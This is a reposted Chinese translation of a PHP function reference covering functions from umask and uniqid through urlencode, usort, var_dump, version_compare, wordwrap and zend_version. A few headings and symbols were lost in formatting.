使用用户定义的函数按键对数组进行排序,保持值的键。有关使用此函数的更多信息,请参见第五章和usort()。如果成功对数组进行了排序,则返回true,否则返回false

umask

int umask([int mask])

将 PHP 的默认权限设置为mask & 0777,并返回前一个掩码(如果成功),或者如果发生错误则返回false。在当前脚本结束时将恢复先前的默认权限。如果未提供mask,则返回当前权限。

在运行于多线程 Web 服务器(例如 Apache)时,在创建文件后使用chmod()来更改其权限,而不是使用此函数。

uniqid

string uniqid([string prefix[, bool more_entropy]])

根据当前微秒级时间生成一个唯一标识符,以prefix为前缀。如果指定了more_entropy且为true,则在字符串末尾添加额外的随机字符。生成的字符串长度为 13 个字符(如果未指定more_entropy或为false)或 23 个字符(如果more_entropytrue)。

int unlink(string path[, resource context])

使用流上下文context(如果提供)删除文件path。如果操作成功返回true,否则返回false

unpack

array unpack(string format, string data)

返回从二进制字符串data中检索的值数组,该字符串之前使用pack()函数和format格式打包。参见pack()以获取在format中使用的格式代码列表。

unregister_tick_function

void unregister_tick_function(string name)

移除之前使用register_tick_function()设置的函数name作为一个 tick 函数。在每次 tick 期间将不再调用它。

unserialize

mixed unserialize(string data)

返回存储在data中的值,data必须是之前使用serialize()序列化的值。如果值是一个对象且该对象有一个__wakeup()方法,则在重建对象后立即调用该方法。

unset

void unset(mixed var[, mixed var2[, ... mixed varN]])

销毁给定的变量。在函数作用域内调用的全局变量仅unset该变量的本地副本;要销毁全局变量,必须在$GLOBALS数组中的值上调用unset。传递的引用方式在函数作用域内仅销毁该变量的本地副本。

urldecode

string urldecode(string url)

返回通过解码 URI 编码的url生成的字符串。以%开头并后跟十六进制数的字符序列将被替换为其表示的字面值。此外,加号(+)将被替换为空格。参见rawurlencode(),其处理空格的方式除外。

urlencode

string urlencode(string url)

返回一个通过对 url 进行 URI 编码创建的字符串。除了破折号 ()、下划线 (_) 和句点 (.) 字符外,url 中的所有非字母数字字符都将被以 % 开头的十六进制数替换;例如,斜杠 (/) 将被替换为 %2F。此外,url 中的任何空格都将被加号 (+) 替换。另请参阅 rawurlencode(),其除了处理空格外与本函数完全相同。

usleep

void usleep(int time)

暂停当前脚本的执行 time 微秒。

usort

bool usort(array array, callable function)

使用用户定义的函数对数组进行排序。提供的函数将使用两个参数调用。如果第一个参数小于第二个参数,则应返回小于零的整数,如果两个参数相等,则返回 0,如果第一个参数大于第二个参数,则返回大于零的整数。比较相等的两个元素的排序顺序是未定义的。有关如何使用此函数的更多信息,请参见 第五章。

如果函数成功对数组进行排序,则返回 true,否则返回 false

var_dump

void var_dump(mixed name[, mixed name2[, ... mixed nameN]])

输出关于 namename2 等的信息。信息输出包括变量的类型、值以及如果是对象,则包括对象的所有公共、私有和受保护属性。数组和对象的内容将以递归方式输出。

var_export

mixed var_export(mixed expression[, bool variable_representation])

返回 expression 的 PHP 代码表示。如果设置了 variable_representation 并且为 true,则返回 expression 的实际值。

version_compare

mixed version_compare(string one, string two[, string operator])

比较两个版本字符串,并返回 -1 如果 one 小于 two0 如果它们相等,以及 1 如果 one 大于 two。版本字符串被分割成每个数字或字符串部分,然后作为 string_value < "dev"< "alpha""a" < "beta""b" < "rc" < numeric_value < "pl""p" 进行比较。

如果指定了 operator,则使用该运算符对版本字符串进行比较,并返回使用该运算符进行比较的值。可能的运算符包括 <lt<=le>gt>=ge===`` 或 eq,以及 !=<>ne`。

vfprintf

int vfprintf(resource stream, string format, array values)

将由数组 values 中的参数填充 format 后的字符串写入流 stream,并返回发送的字符串长度。有关如何使用此函数的更多信息,请参见 printf()

vprintf

void vprintf(string format, array values)

使用数组 values 中的参数填充 format 后,打印字符串。有关如何使用此函数的更多信息,请参见 printf()

vsprintf

string vsprintf(string format, array values)

通过用数组 values 中给定的参数填充 format 来创建并返回一个字符串。有关使用此函数的更多信息,请参见 printf()

wordwrap

string wordwrap(string string[, int length[, string postfix[, bool force]]])

在每 length 个字符以及字符串末尾将 postfix 插入到 string 中,并返回生成的字符串。在插入换行时,函数尝试避免在单词中间断开。如果未指定,postfix 默认为 \nlength 默认为 75。如果给定 force 且为 true,则始终将字符串包装到给定长度(这使函数行为与 chunk_split() 相同)。

zend_thread_id

int zend_thread_id()

返回当前运行的 PHP 进程线程的唯一标识符。

zend_version

string zend_version()

返回当前运行的 PHP 进程中 Zend 引擎的版本。

posted @ 2024-06-18 18:15  绝不原创的飞龙  阅读(7)  评论(0编辑  收藏  举报